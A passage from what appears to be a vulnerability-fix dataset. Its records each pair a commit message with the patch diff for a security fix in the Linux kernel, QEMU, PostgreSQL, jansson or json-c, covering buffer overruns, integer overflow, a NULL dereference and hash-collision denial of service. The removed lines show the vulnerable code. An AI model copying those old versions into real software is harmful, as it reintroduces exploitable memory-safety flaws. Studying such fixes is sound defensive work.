"@@ -34,10 +34,14 @@ static unsigned int help(struct sk_buff *skb,\n \t\t\t struct nf_conntrack_expect *exp)\n {\n \tchar buffer[sizeof(\"4294967296 65635\")];\n+\tstruct nf_conn *ct = exp->master;\n+\tunion nf_inet_addr newaddr;\n \tu_int16_t port;\n \tunsigned int ret;\n \n \t/* Reply comes from server. */\n+\tnewaddr = ct->tuplehash[IP_CT_DIR_REPLY].tuple.dst.u3;\n+\n \texp->saved_proto.tcp.port = exp->tuple.dst.u.tcp.port;\n \texp->dir = IP_CT_DIR_REPLY;\n \texp->expectfn = nf_nat_follow_master;\n", "related": true}, {"section": "@@ -57,17 +61,35 @@ static unsigned int help(struct sk_buff *skb,\n \t}\n \n \tif (port == 0) {\n-\t\tnf_ct_helper_log(skb, exp->master, \"all ports in use\");\n+\t\tnf_ct_helper_log(skb, ct, \"all ports in use\");\n \t\treturn NF_DROP;\n \t}\n \n-\tret = nf_nat_mangle_tcp_packet(skb, exp->master, ctinfo,\n-\t\t\t\t protoff, matchoff, matchlen, buffer,\n-\t\t\t\t strlen(buffer));\n+\t/* strlen(\"\\1DCC CHAT chat AAAAAAAA P\\1\\n\")=27\n+\t * strlen(\"\\1DCC SCHAT chat AAAAAAAA P\\1\\n\")=28\n+\t * strlen(\"\\1DCC SEND F AAAAAAAA P S\\1\\n\")=26\n+\t * strlen(\"\\1DCC MOVE F AAAAAAAA P S\\1\\n\")=26\n+\t * strlen(\"\\1DCC TSEND F AAAAAAAA P S\\1\\n\")=27\n+\t *\n+\t * AAAAAAAAA: bound addr (1.0.0.0==16777216, min 8 digits,\n+\t * 255.255.255.255==4294967296, 10 digits)\n+\t * P: bound port (min 1 d, max 5d (65635))\n+\t * F: filename (min 1 d )\n+\t * S: size (min 1 d )\n+\t * 0x01, \\n: terminators\n+\t */\n+\t/* AAA = \"us\", ie. where server normally talks to. */\n+\tsnprintf(buffer, sizeof(buffer), \"%u %u\", ntohl(newaddr.ip), port);\n+\tpr_debug(\"nf_nat_irc: inserting '%s' == %pI4, port %u\\n\",\n+\t\t buffer, &newaddr.ip, port);\n+\n+\tret = nf_nat_mangle_tcp_packet(skb, ct, ctinfo, protoff, matchoff,\n+\t\t\t\t matchlen, buffer, strlen(buffer));\n \tif (ret != NF_ACCEPT) {\n-\t\tnf_ct_helper_log(skb, exp->master, \"cannot mangle packet\");\n+\t\tnf_ct_helper_log(skb, ct, \"cannot mangle packet\");\n \t\tnf_ct_unexpect_related(exp);\n \t}\n+\n \treturn ret;\n }\n ", "related": true}]} +{"owner": "bonzini", "repo": "qemu", "language": "C", "file_name": "hw/scsi-disk.c", "commit_id": "7285477ab11831b1cf56e45878a89170dd06d9b9", "commit_message": "scsi-disk: lazily allocate bounce buffer\n\nIt will not be needed for reads and writes if the HBA provides a sglist.\nIn addition, this lets scsi-disk refuse commands with an excessive\nallocation length, as well as limit memory on usual well-behaved guests.\n\nSigned-off-by: Paolo Bonzini \nSigned-off-by: Kevin Wolf ", "patch": "@@ -55,6 +55,7 @@ typedef struct SCSIDiskReq {\n /* Both sector and sector_count are in terms of qemu 512 byte blocks. */\n uint64_t sector;\n uint32_t sector_count;\n+ uint32_t buflen;\n struct iovec iov;\n QEMUIOVector qiov;\n uint32_t status;\n@@ -78,13 +79,15 @@ struct SCSIDiskState\n };\n \n static int scsi_handle_rw_error(SCSIDiskReq *r, int error, int type);\n-static int scsi_disk_emulate_command(SCSIDiskReq *r, uint8_t *outbuf);\n+static int scsi_disk_emulate_command(SCSIDiskReq *r);\n \n static void scsi_free_request(SCSIRequest *req)\n {\n SCSIDiskReq *r = DO_UPCAST(SCSIDiskReq, req, req);\n \n- qemu_vfree(r->iov.iov_base);\n+ if (r->iov.iov_base) {\n+ qemu_vfree(r->iov.iov_base);\n+ }\n }\n \n /* Helper function for command completion with sense. */\n@@ -110,7 +113,13 @@ static void scsi_cancel_io(SCSIRequest *req)\n \n static uint32_t scsi_init_iovec(SCSIDiskReq *r)\n {\n- r->iov.iov_len = MIN(r->sector_count * 512, SCSI_DMA_BUF_SIZE);\n+ SCSIDiskState *s = DO_UPCAST(SCSIDiskState, qdev, r->req.dev);\n+\n+ if (!r->iov.iov_base) {\n+ r->buflen = SCSI_DMA_BUF_SIZE;\n+ r->iov.iov_base = qemu_blockalign(s->bs, r->buflen);\n+ }\n+ r->iov.iov_len = MIN(r->sector_count * 512, r->buflen);\n qemu_iovec_init_external(&r->qiov, &r->iov, 1);\n return r->qiov.size / 512;\n }\n@@ -323,7 +332,7 @@ static void scsi_dma_restart_bh(void *opaque)\n scsi_write_data(&r->req);\n break;\n case SCSI_REQ_STATUS_RETRY_FLUSH:\n- ret = scsi_disk_emulate_command(r, r->iov.iov_base);\n+ ret = scsi_disk_emulate_command(r);\n if (ret == 0) {\n scsi_req_complete(&r->req, GOOD);\n }\n@@ -838,13 +847,31 @@ static int scsi_disk_emulate_start_stop(SCSIDiskReq *r)\n return 0;\n }\n \n-static int scsi_disk_emulate_command(SCSIDiskReq *r, uint8_t *outbuf)\n+static int scsi_disk_emulate_command(SCSIDiskReq *r)\n {\n SCSIRequest *req = &r->req;\n SCSIDiskState *s = DO_UPCAST(SCSIDiskState, qdev, req->dev);\n uint64_t nb_sectors;\n+ uint8_t *outbuf;\n int buflen = 0;\n \n+ if (!r->iov.iov_base) {\n+ /*\n+ * FIXME: we shouldn't return anything bigger than 4k, but the code\n+ * requires the buffer to be as big as req->cmd.xfer in several\n+ * places. So, do not allow CDBs with a very large ALLOCATION\n+ * LENGTH. The real fix would be to modify scsi_read_data and\n+ * dma_buf_read, so that they return data beyond the buflen\n+ * as all zeros.\n+ */\n+ if (req->cmd.xfer > 65536) {\n+ goto illegal_request;\n+ }\n+ r->buflen = MAX(4096, req->cmd.xfer);\n+ r->iov.iov_base = qemu_blockalign(s->bs, r->buflen);\n+ }\n+\n+ outbuf = r->iov.iov_base;\n switch (req->cmd.buf[0]) {\n case TEST_UNIT_READY:\n if (s->tray_open || !bdrv_is_inserted(s->bs))\n@@ -995,11 +1022,9 @@ static int32_t scsi_send_command(SCSIRequest *req, uint8_t *buf)\n SCSIDiskState *s = DO_UPCAST(SCSIDiskState, qdev, req->dev);\n int32_t len;\n uint8_t command;\n- uint8_t *outbuf;\n int rc;\n \n command = buf[0];\n- outbuf = (uint8_t *)r->iov.iov_base;\n DPRINTF(\"Command: lun=%d tag=0x%x data=0x%02x\", req->lun, req->tag, buf[0]);\n \n #ifdef DEBUG_SCSI\n@@ -1028,7 +1053,7 @@ static int32_t scsi_send_command(SCSIRequest *req, uint8_t *buf)\n case GET_CONFIGURATION:\n case SERVICE_ACTION_IN_16:\n case VERIFY_10:\n- rc = scsi_disk_emulate_command(r, outbuf);\n+ rc = scsi_disk_emulate_command(r);\n if (rc < 0) {\n return 0;\n }\n@@ -1279,11 +1304,8 @@ static SCSIRequest *scsi_new_request(SCSIDevice *d, uint32_t tag,\n {\n SCSIDiskState *s = DO_UPCAST(SCSIDiskState, qdev, d);\n SCSIRequest *req;\n- SCSIDiskReq *r;\n \n req = scsi_req_alloc(&scsi_disk_reqops, &s->qdev, tag, lun, hba_private);\n- r = DO_UPCAST(SCSIDiskReq, req, req);\n- r->iov.iov_base = qemu_blockalign(s->bs, SCSI_DMA_BUF_SIZE);\n return req;\n }\n ", "sections": [{"section": "@@ -55,6 +55,7 @@ typedef struct SCSIDiskReq {\n /* Both sector and sector_count are in terms of qemu 512 byte blocks. */\n uint64_t sector;\n uint32_t sector_count;\n+ uint32_t buflen;\n struct iovec iov;\n QEMUIOVector qiov;\n uint32_t status;\n", "related": false}, {"section": "@@ -78,13 +79,15 @@ struct SCSIDiskState\n };\n \n static int scsi_handle_rw_error(SCSIDiskReq *r, int error, int type);\n-static int scsi_disk_emulate_command(SCSIDiskReq *r, uint8_t *outbuf);\n+static int scsi_disk_emulate_command(SCSIDiskReq *r);\n \n static void scsi_free_request(SCSIRequest *req)\n {\n SCSIDiskReq *r = DO_UPCAST(SCSIDiskReq, req, req);\n \n- qemu_vfree(r->iov.iov_base);\n+ if (r->iov.iov_base) {\n+ qemu_vfree(r->iov.iov_base);\n+ }\n }\n \n /* Helper function for command completion with sense. */\n", "related": false}, {"section": "@@ -110,7 +113,13 @@ static void scsi_cancel_io(SCSIRequest *req)\n \n static uint32_t scsi_init_iovec(SCSIDiskReq *r)\n {\n- r->iov.iov_len = MIN(r->sector_count * 512, SCSI_DMA_BUF_SIZE);\n+ SCSIDiskState *s = DO_UPCAST(SCSIDiskState, qdev, r->req.dev);\n+\n+ if (!r->iov.iov_base) {\n+ r->buflen = SCSI_DMA_BUF_SIZE;\n+ r->iov.iov_base = qemu_blockalign(s->bs, r->buflen);\n+ }\n+ r->iov.iov_len = MIN(r->sector_count * 512, r->buflen);\n qemu_iovec_init_external(&r->qiov, &r->iov, 1);\n return r->qiov.size / 512;\n }\n", "related": false}, {"section": "@@ -323,7 +332,7 @@ static void scsi_dma_restart_bh(void *opaque)\n scsi_write_data(&r->req);\n break;\n case SCSI_REQ_STATUS_RETRY_FLUSH:\n- ret = scsi_disk_emulate_command(r, r->iov.iov_base);\n+ ret = scsi_disk_emulate_command(r);\n if (ret == 0) {\n scsi_req_complete(&r->req, GOOD);\n }\n", "related": false}, {"section": "@@ -838,13 +847,31 @@ static int scsi_disk_emulate_start_stop(SCSIDiskReq *r)\n return 0;\n }\n \n-static int scsi_disk_emulate_command(SCSIDiskReq *r, uint8_t *outbuf)\n+static int scsi_disk_emulate_command(SCSIDiskReq *r)\n {\n SCSIRequest *req = &r->req;\n SCSIDiskState *s = DO_UPCAST(SCSIDiskState, qdev, req->dev);\n uint64_t nb_sectors;\n+ uint8_t *outbuf;\n int buflen = 0;\n \n+ if (!r->iov.iov_base) {\n+ /*\n+ * FIXME: we shouldn't return anything bigger than 4k, but the code\n+ * requires the buffer to be as big as req->cmd.xfer in several\n+ * places. So, do not allow CDBs with a very large ALLOCATION\n+ * LENGTH. The real fix would be to modify scsi_read_data and\n+ * dma_buf_read, so that they return data beyond the buflen\n+ * as all zeros.\n+ */\n+ if (req->cmd.xfer > 65536) {\n+ goto illegal_request;\n+ }\n+ r->buflen = MAX(4096, req->cmd.xfer);\n+ r->iov.iov_base = qemu_blockalign(s->bs, r->buflen);\n+ }\n+\n+ outbuf = r->iov.iov_base;\n switch (req->cmd.buf[0]) {\n case TEST_UNIT_READY:\n if (s->tray_open || !bdrv_is_inserted(s->bs))\n", "related": false}, {"section": "@@ -995,11 +1022,9 @@ static int32_t scsi_send_command(SCSIRequest *req, uint8_t *buf)\n SCSIDiskState *s = DO_UPCAST(SCSIDiskState, qdev, req->dev);\n int32_t len;\n uint8_t command;\n- uint8_t *outbuf;\n int rc;\n \n command = buf[0];\n- outbuf = (uint8_t *)r->iov.iov_base;\n DPRINTF(\"Command: lun=%d tag=0x%x data=0x%02x\", req->lun, req->tag, buf[0]);\n \n #ifdef DEBUG_SCSI\n", "related": false}, {"section": "@@ -1028,7 +1053,7 @@ static int32_t scsi_send_command(SCSIRequest *req, uint8_t *buf)\n case GET_CONFIGURATION:\n case SERVICE_ACTION_IN_16:\n case VERIFY_10:\n- rc = scsi_disk_emulate_command(r, outbuf);\n+ rc = scsi_disk_emulate_command(r);\n if (rc < 0) {\n return 0;\n }\n", "related": false}, {"section": "@@ -1279,11 +1304,8 @@ static SCSIRequest *scsi_new_request(SCSIDevice *d, uint32_t tag,\n {\n SCSIDiskState *s = DO_UPCAST(SCSIDiskState, qdev, d);\n SCSIRequest *req;\n- SCSIDiskReq *r;\n \n req = scsi_req_alloc(&scsi_disk_reqops, &s->qdev, tag, lun, hba_private);\n- r = DO_UPCAST(SCSIDiskReq, req, req);\n- r->iov.iov_base = qemu_blockalign(s->bs, SCSI_DMA_BUF_SIZE);\n return req;\n }\n ", "related": false}]} +{"owner": "postgres", "repo": "postgres", "language": "C", "file_name": "contrib/ltree/ltxtquery_io.c", "commit_id": "31400a673325147e1205326008e32135a78b4d8a", "commit_message": "Predict integer overflow to avoid buffer overruns.\n\nSeveral functions, mostly type input functions, calculated an allocation\nsize such that the calculation wrapped to a small positive value when\narguments implied a sufficiently-large requirement. Writes past the end\nof the inadvertent small allocation followed shortly thereafter.\nCoverity identified the path_in() vulnerability; code inspection led to\nthe rest. In passing, add check_stack_depth() to prevent stack overflow\nin related functions.\n\nBack-patch to 8.4 (all supported versions). The non-comment hstore\nchanges touch code that did not exist in 8.4, so that part stops at 9.0.\n\nNoah Misch and Heikki Linnakangas, reviewed by Tom Lane.\n\nSecurity: CVE-2014-0064", "patch": "@@ -9,6 +9,7 @@\n \n #include \"crc32.h\"\n #include \"ltree.h\"\n+#include \"miscadmin.h\"\n \n PG_FUNCTION_INFO_V1(ltxtq_in);\n Datum\t\tltxtq_in(PG_FUNCTION_ARGS);\n@@ -212,6 +213,9 @@ makepol(QPRS_STATE *state)\n \tint32\t\tlenstack = 0;\n \tuint16\t\tflag = 0;\n \n+\t/* since this function recurses, it could be driven to stack overflow */\n+\tcheck_stack_depth();\n+\n \twhile ((type = gettoken_query(state, &val, &lenval, &strval, &flag)) != END)\n \t{\n \t\tswitch (type)\n@@ -276,6 +280,9 @@ makepol(QPRS_STATE *state)\n static void\n findoprnd(ITEM *ptr, int32 *pos)\n {\n+\t/* since this function recurses, it could be driven to stack overflow. */\n+\tcheck_stack_depth();\n+\n \tif (ptr[*pos].type == VAL || ptr[*pos].type == VALTRUE)\n \t{\n \t\tptr[*pos].left = 0;\n@@ -340,8 +347,12 @@ queryin(char *buf)\n \t\t\t\t errmsg(\"syntax error\"),\n \t\t\t\t errdetail(\"Empty query.\")));\n \n-\t/* make finish struct */\n+\tif (LTXTQUERY_TOO_BIG(state.num, state.sumlen))\n+\t\tereport(ERROR,\n+\t\t\t\t(errcode(ERRCODE_PROGRAM_LIMIT_EXCEEDED),\n+\t\t\t\t errmsg(\"ltxtquery is too large\")));\n \tcommonlen = COMPUTESIZE(state.num, state.sumlen);\n+\n \tquery = (ltxtquery *) palloc(commonlen);\n \tSET_VARSIZE(query, commonlen);\n \tquery->size = state.num;", "sections": [{"section": "@@ -9,6 +9,7 @@\n \n #include \"crc32.h\"\n #include \"ltree.h\"\n+#include \"miscadmin.h\"\n \n PG_FUNCTION_INFO_V1(ltxtq_in);\n Datum\t\tltxtq_in(PG_FUNCTION_ARGS);\n", "related": false}, {"section": "@@ -212,6 +213,9 @@ makepol(QPRS_STATE *state)\n \tint32\t\tlenstack = 0;\n \tuint16\t\tflag = 0;\n \n+\t/* since this function recurses, it could be driven to stack overflow */\n+\tcheck_stack_depth();\n+\n \twhile ((type = gettoken_query(state, &val, &lenval, &strval, &flag)) != END)\n \t{\n \t\tswitch (type)\n", "related": false}, {"section": "@@ -276,6 +280,9 @@ makepol(QPRS_STATE *state)\n static void\n findoprnd(ITEM *ptr, int32 *pos)\n {\n+\t/* since this function recurses, it could be driven to stack overflow. */\n+\tcheck_stack_depth();\n+\n \tif (ptr[*pos].type == VAL || ptr[*pos].type == VALTRUE)\n \t{\n \t\tptr[*pos].left = 0;\n", "related": false}, {"section": "@@ -340,8 +347,12 @@ queryin(char *buf)\n \t\t\t\t errmsg(\"syntax error\"),\n \t\t\t\t errdetail(\"Empty query.\")));\n \n-\t/* make finish struct */\n+\tif (LTXTQUERY_TOO_BIG(state.num, state.sumlen))\n+\t\tereport(ERROR,\n+\t\t\t\t(errcode(ERRCODE_PROGRAM_LIMIT_EXCEEDED),\n+\t\t\t\t errmsg(\"ltxtquery is too large\")));\n \tcommonlen = COMPUTESIZE(state.num, state.sumlen);\n+\n \tquery = (ltxtquery *) palloc(commonlen);\n \tSET_VARSIZE(query, commonlen);\n \tquery->size = state.num;", "related": false}]} +{"owner": "postgres", "repo": "postgres", "language": "C", "file_name": "src/interfaces/ecpg/pgtypeslib/dt.h", "commit_id": "4318daecc959886d001a6e79c6ea853e8b1dfb4b", "commit_message": "Fix handling of wide datetime input/output.\n\nMany server functions use the MAXDATELEN constant to size a buffer for\nparsing or displaying a datetime value. It was much too small for the\nlongest possible interval output and slightly too small for certain\nvalid timestamp input, particularly input with a long timezone name.\nThe long input was rejected needlessly; the long output caused\ninterval_out() to overrun its buffer. ECPG's pgtypes library has a copy\nof the vulnerable functions, which bore the same vulnerabilities along\nwith some of its own. In contrast to the server, certain long inputs\ncaused stack overflow rather than failing cleanly. Back-patch to 8.4\n(all supported versions).\n\nReported by Daniel Schüssler, reviewed by Tom Lane.\n\nSecurity: CVE-2014-0063", "patch": "@@ -192,12 +192,17 @@ typedef double fsec_t;\n #define DTK_DATE_M\t\t(DTK_M(YEAR) | DTK_M(MONTH) | DTK_M(DAY))\n #define DTK_TIME_M\t\t(DTK_M(HOUR) | DTK_M(MINUTE) | DTK_M(SECOND))\n \n-#define MAXDATELEN\t\t63\t\t/* maximum possible length of an input date\n-\t\t\t\t\t\t\t\t * string (not counting tr. null) */\n-#define MAXDATEFIELDS\t25\t\t/* maximum possible number of fields in a date\n-\t\t\t\t\t\t\t\t * string */\n-#define TOKMAXLEN\t\t10\t\t/* only this many chars are stored in\n-\t\t\t\t\t\t\t\t * datetktbl */\n+/*\n+ * Working buffer size for input and output of interval, timestamp, etc.\n+ * Inputs that need more working space will be rejected early. Longer outputs\n+ * will overrun buffers, so this must suffice for all possible output. As of\n+ * this writing, PGTYPESinterval_to_asc() needs the most space at ~90 bytes.\n+ */\n+#define MAXDATELEN\t\t128\n+/* maximum possible number of fields in a date string */\n+#define MAXDATEFIELDS\t25\n+/* only this many chars are stored in datetktbl */\n+#define TOKMAXLEN\t\t10\n \n /* keep this struct small; it gets used a lot */\n typedef struct", "sections": [{"section": "@@ -192,12 +192,17 @@ typedef double fsec_t;\n #define DTK_DATE_M\t\t(DTK_M(YEAR) | DTK_M(MONTH) | DTK_M(DAY))\n #define DTK_TIME_M\t\t(DTK_M(HOUR) | DTK_M(MINUTE) | DTK_M(SECOND))\n \n-#define MAXDATELEN\t\t63\t\t/* maximum possible length of an input date\n-\t\t\t\t\t\t\t\t * string (not counting tr. null) */\n-#define MAXDATEFIELDS\t25\t\t/* maximum possible number of fields in a date\n-\t\t\t\t\t\t\t\t * string */\n-#define TOKMAXLEN\t\t10\t\t/* only this many chars are stored in\n-\t\t\t\t\t\t\t\t * datetktbl */\n+/*\n+ * Working buffer size for input and output of interval, timestamp, etc.\n+ * Inputs that need more working space will be rejected early. Longer outputs\n+ * will overrun buffers, so this must suffice for all possible output. As of\n+ * this writing, PGTYPESinterval_to_asc() needs the most space at ~90 bytes.\n+ */\n+#define MAXDATELEN\t\t128\n+/* maximum possible number of fields in a date string */\n+#define MAXDATEFIELDS\t25\n+/* only this many chars are stored in datetktbl */\n+#define TOKMAXLEN\t\t10\n \n /* keep this struct small; it gets used a lot */\n typedef struct", "related": false}]} +{"owner": "postgres", "repo": "postgres", "language": "C", "file_name": "contrib/ltree/ltree.h", "commit_id": "31400a673325147e1205326008e32135a78b4d8a", "commit_message": "Predict integer overflow to avoid buffer overruns.\n\nSeveral functions, mostly type input functions, calculated an allocation\nsize such that the calculation wrapped to a small positive value when\narguments implied a sufficiently-large requirement. Writes past the end\nof the inadvertent small allocation followed shortly thereafter.\nCoverity identified the path_in() vulnerability; code inspection led to\nthe rest. In passing, add check_stack_depth() to prevent stack overflow\nin related functions.\n\nBack-patch to 8.4 (all supported versions). The non-comment hstore\nchanges touch code that did not exist in 8.4, so that part stops at 9.0.\n\nNoah Misch and Heikki Linnakangas, reviewed by Tom Lane.\n\nSecurity: CVE-2014-0064", "patch": "@@ -5,6 +5,7 @@\n \n #include \"fmgr.h\"\n #include \"tsearch/ts_locale.h\"\n+#include \"utils/memutils.h\"\n \n typedef struct\n {\n@@ -111,6 +112,8 @@ typedef struct\n \n #define HDRSIZEQT\t\tMAXALIGN(VARHDRSZ + sizeof(int32))\n #define COMPUTESIZE(size,lenofoperand)\t( HDRSIZEQT + (size) * sizeof(ITEM) + (lenofoperand) )\n+#define LTXTQUERY_TOO_BIG(size,lenofoperand) \\\n+\t((size) > (MaxAllocSize - HDRSIZEQT - (lenofoperand)) / sizeof(ITEM))\n #define GETQUERY(x) (ITEM*)( (char*)(x)+HDRSIZEQT )\n #define GETOPERAND(x)\t( (char*)GETQUERY(x) + ((ltxtquery*)x)->size * sizeof(ITEM) )\n ", "sections": [{"section": "@@ -5,6 +5,7 @@\n \n #include \"fmgr.h\"\n #include \"tsearch/ts_locale.h\"\n+#include \"utils/memutils.h\"\n \n typedef struct\n {\n", "related": false}, {"section": "@@ -111,6 +112,8 @@ typedef struct\n \n #define HDRSIZEQT\t\tMAXALIGN(VARHDRSZ + sizeof(int32))\n #define COMPUTESIZE(size,lenofoperand)\t( HDRSIZEQT + (size) * sizeof(ITEM) + (lenofoperand) )\n+#define LTXTQUERY_TOO_BIG(size,lenofoperand) \\\n+\t((size) > (MaxAllocSize - HDRSIZEQT - (lenofoperand)) / sizeof(ITEM))\n #define GETQUERY(x) (ITEM*)( (char*)(x)+HDRSIZEQT )\n #define GETOPERAND(x)\t( (char*)GETQUERY(x) + ((ltxtquery*)x)->size * sizeof(ITEM) )\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/rds/ib.c", "commit_id": "c2349758acf1874e4c2b93fe41d072336f1a31d0", "commit_message": "rds: prevent dereference of a NULL device\n\nBinding might result in a NULL device, which is dereferenced\ncausing this BUG:\n\n[ 1317.260548] BUG: unable to handle kernel NULL pointer dereference at 000000000000097\n4\n[ 1317.261847] IP: [] rds_ib_laddr_check+0x82/0x110\n[ 1317.263315] PGD 418bcb067 PUD 3ceb21067 PMD 0\n[ 1317.263502] Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC\n[ 1317.264179] Dumping ftrace buffer:\n[ 1317.264774] (ftrace buffer empty)\n[ 1317.265220] Modules linked in:\n[ 1317.265824] CPU: 4 PID: 836 Comm: trinity-child46 Tainted: G W 3.13.0-rc4-\nnext-20131218-sasha-00013-g2cebb9b-dirty #4159\n[ 1317.267415] task: ffff8803ddf33000 ti: ffff8803cd31a000 task.ti: ffff8803cd31a000\n[ 1317.268399] RIP: 0010:[] [] rds_ib_laddr_check+\n0x82/0x110\n[ 1317.269670] RSP: 0000:ffff8803cd31bdf8 EFLAGS: 00010246\n[ 1317.270230] RAX: 0000000000000000 RBX: ffff88020b0dd388 RCX: 0000000000000000\n[ 1317.270230] RDX: ffffffff8439822e RSI: 00000000000c000a RDI: 0000000000000286\n[ 1317.270230] RBP: ffff8803cd31be38 R08: 0000000000000000 R09: 0000000000000000\n[ 1317.270230] R10: 0000000000000000 R11: 0000000000000001 R12: 0000000000000000\n[ 1317.270230] R13: 0000000054086700 R14: 0000000000a25de0 R15: 0000000000000031\n[ 1317.270230] FS: 00007ff40251d700(0000) GS:ffff88022e200000(0000) knlGS:000000000000\n0000\n[ 1317.270230] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b\n[ 1317.270230] CR2: 0000000000000974 CR3: 00000003cd478000 CR4: 00000000000006e0\n[ 1317.270230] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[ 1317.270230] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000090602\n[ 1317.270230] Stack:\n[ 1317.270230] 0000000054086700 5408670000a25de0 5408670000000002 0000000000000000\n[ 1317.270230] ffffffff84223542 00000000ea54c767 0000000000000000 ffffffff86d26160\n[ 1317.270230] ffff8803cd31be68 ffffffff84223556 ffff8803cd31beb8 ffff8800c6765280\n[ 1317.270230] Call Trace:\n[ 1317.270230] [] ? rds_trans_get_preferred+0x42/0xa0\n[ 1317.270230] [] rds_trans_get_preferred+0x56/0xa0\n[ 1317.270230] [] rds_bind+0x73/0xf0\n[ 1317.270230] [] SYSC_bind+0x92/0xf0\n[ 1317.270230] [] ? context_tracking_user_exit+0xb8/0x1d0\n[ 1317.270230] [] ? trace_hardirqs_on+0xd/0x10\n[ 1317.270230] [] ? syscall_trace_enter+0x32/0x290\n[ 1317.270230] [] SyS_bind+0xe/0x10\n[ 1317.270230] [] tracesys+0xdd/0xe2\n[ 1317.270230] Code: 00 8b 45 cc 48 8d 75 d0 48 c7 45 d8 00 00 00 00 66 c7 45 d0 02 00\n89 45 d4 48 89 df e8 78 49 76 ff 41 89 c4 85 c0 75 0c 48 8b 03 <80> b8 74 09 00 00 01 7\n4 06 41 bc 9d ff ff ff f6 05 2a b6 c2 02\n[ 1317.270230] RIP [] rds_ib_laddr_check+0x82/0x110\n[ 1317.270230] RSP \n[ 1317.270230] CR2: 0000000000000974\n\nSigned-off-by: Sasha Levin \nSigned-off-by: David S. Miller ", "patch": "@@ -338,7 +338,8 @@ static int rds_ib_laddr_check(__be32 addr)\n \tret = rdma_bind_addr(cm_id, (struct sockaddr *)&sin);\n \t/* due to this, we will claim to support iWARP devices unless we\n \t check node_type. */\n-\tif (ret || cm_id->device->node_type != RDMA_NODE_IB_CA)\n+\tif (ret || !cm_id->device ||\n+\t cm_id->device->node_type != RDMA_NODE_IB_CA)\n \t\tret = -EADDRNOTAVAIL;\n \n \trdsdebug(\"addr %pI4 ret %d node type %d\\n\",", "sections": [{"section": "@@ -338,7 +338,8 @@ static int rds_ib_laddr_check(__be32 addr)\n \tret = rdma_bind_addr(cm_id, (struct sockaddr *)&sin);\n \t/* due to this, we will claim to support iWARP devices unless we\n \t check node_type. */\n-\tif (ret || cm_id->device->node_type != RDMA_NODE_IB_CA)\n+\tif (ret || !cm_id->device ||\n+\t cm_id->device->node_type != RDMA_NODE_IB_CA)\n \t\tret = -EADDRNOTAVAIL;\n \n \trdsdebug(\"addr %pI4 ret %d node type %d\\n\",", "related": false}]} +{"owner": "akheron", "repo": "jansson", "language": "C", "file_name": "test/bin/json_process.c", "commit_id": "8f80c2d83808150724d31793e6ade92749b1faa4", "commit_message": "CVE-2013-6401: Change hash function, randomize hashes\n\nThanks to Florian Weimer and Eric Sesterhenn for reporting, reviewing\nand testing.", "patch": "@@ -37,6 +37,8 @@ struct config {\n int sort_keys;\n int strip;\n int use_env;\n+ int have_hashseed;\n+ int hashseed;\n } conf;\n \n #define l_isspace(c) ((c) == ' ' || (c) == '\\n' || (c) == '\\r' || (c) == '\\t')\n@@ -108,6 +110,12 @@ static void read_conf(FILE *conffile)\n conf.sort_keys = atoi(val);\n if (!strcmp(line, \"STRIP\"))\n conf.strip = atoi(val);\n+ if (!strcmp(line, \"HASHSEED\")) {\n+ conf.have_hashseed = 1;\n+ conf.hashseed = atoi(val);\n+ } else {\n+ conf.have_hashseed = 0;\n+ }\n }\n \n free(buffer);\n@@ -188,6 +196,9 @@ int use_conf(char *test_path)\n if (conf.sort_keys)\n flags |= JSON_SORT_KEYS;\n \n+ if (conf.have_hashseed)\n+ json_object_seed(conf.hashseed);\n+\n if (conf.strip) {\n /* Load to memory, strip leading and trailing whitespace */\n buffer = loadfile(infile);\n@@ -265,7 +276,10 @@ int use_env()\n flags |= JSON_PRESERVE_ORDER;\n \n if(getenv_int(\"JSON_SORT_KEYS\"))\n- flags |= JSON_SORT_KEYS;\n+ flags |= JSON_SORT_KEYS;\n+\n+ if(getenv(\"HASHSEED\"))\n+ json_object_seed(getenv_int(\"HASHSEED\"));\n \n if(getenv_int(\"STRIP\")) {\n /* Load to memory, strip leading and trailing whitespace */", "sections": [{"section": "@@ -37,6 +37,8 @@ struct config {\n int sort_keys;\n int strip;\n int use_env;\n+ int have_hashseed;\n+ int hashseed;\n } conf;\n \n #define l_isspace(c) ((c) == ' ' || (c) == '\\n' || (c) == '\\r' || (c) == '\\t')\n", "related": false}, {"section": "@@ -108,6 +110,12 @@ static void read_conf(FILE *conffile)\n conf.sort_keys = atoi(val);\n if (!strcmp(line, \"STRIP\"))\n conf.strip = atoi(val);\n+ if (!strcmp(line, \"HASHSEED\")) {\n+ conf.have_hashseed = 1;\n+ conf.hashseed = atoi(val);\n+ } else {\n+ conf.have_hashseed = 0;\n+ }\n }\n \n free(buffer);\n", "related": true}, {"section": "@@ -188,6 +196,9 @@ int use_conf(char *test_path)\n if (conf.sort_keys)\n flags |= JSON_SORT_KEYS;\n \n+ if (conf.have_hashseed)\n+ json_object_seed(conf.hashseed);\n+\n if (conf.strip) {\n /* Load to memory, strip leading and trailing whitespace */\n buffer = loadfile(infile);\n", "related": true}, {"section": "@@ -265,7 +276,10 @@ int use_env()\n flags |= JSON_PRESERVE_ORDER;\n \n if(getenv_int(\"JSON_SORT_KEYS\"))\n- flags |= JSON_SORT_KEYS;\n+ flags |= JSON_SORT_KEYS;\n+\n+ if(getenv(\"HASHSEED\"))\n+ json_object_seed(getenv_int(\"HASHSEED\"));\n \n if(getenv_int(\"STRIP\")) {\n /* Load to memory, strip leading and trailing whitespace */", "related": true}]} +{"owner": "json-c", "repo": "json-c", "language": "C", "file_name": "linkhash.c", "commit_id": "64e36901a0614bf64a19bc3396469c66dcd0b015", "commit_message": "Patch to address the following issues:\n\n* CVE-2013-6371: hash collision denial of service\n* CVE-2013-6370: buffer overflow if size_t is larger than int", "patch": "@@ -17,6 +17,11 @@\n #include \n #include \n \n+#ifdef HAVE_ENDIAN_H\n+# include /* attempt to define endianness */\n+#endif\n+\n+#include \"random_seed.h\"\n #include \"linkhash.h\"\n \n void lh_abort(const char *msg, ...)\n@@ -39,14 +44,378 @@ int lh_ptr_equal(const void *k1, const void *k2)\n \treturn (k1 == k2);\n }\n \n+/* \n+ * hashlittle from lookup3.c, by Bob Jenkins, May 2006, Public Domain.\n+ * http://burtleburtle.net/bob/c/lookup3.c\n+ * minor modifications to make functions static so no symbols are exported\n+ * minor mofifications to compile with -Werror\n+ */\n+\n+/*\n+-------------------------------------------------------------------------------\n+lookup3.c, by 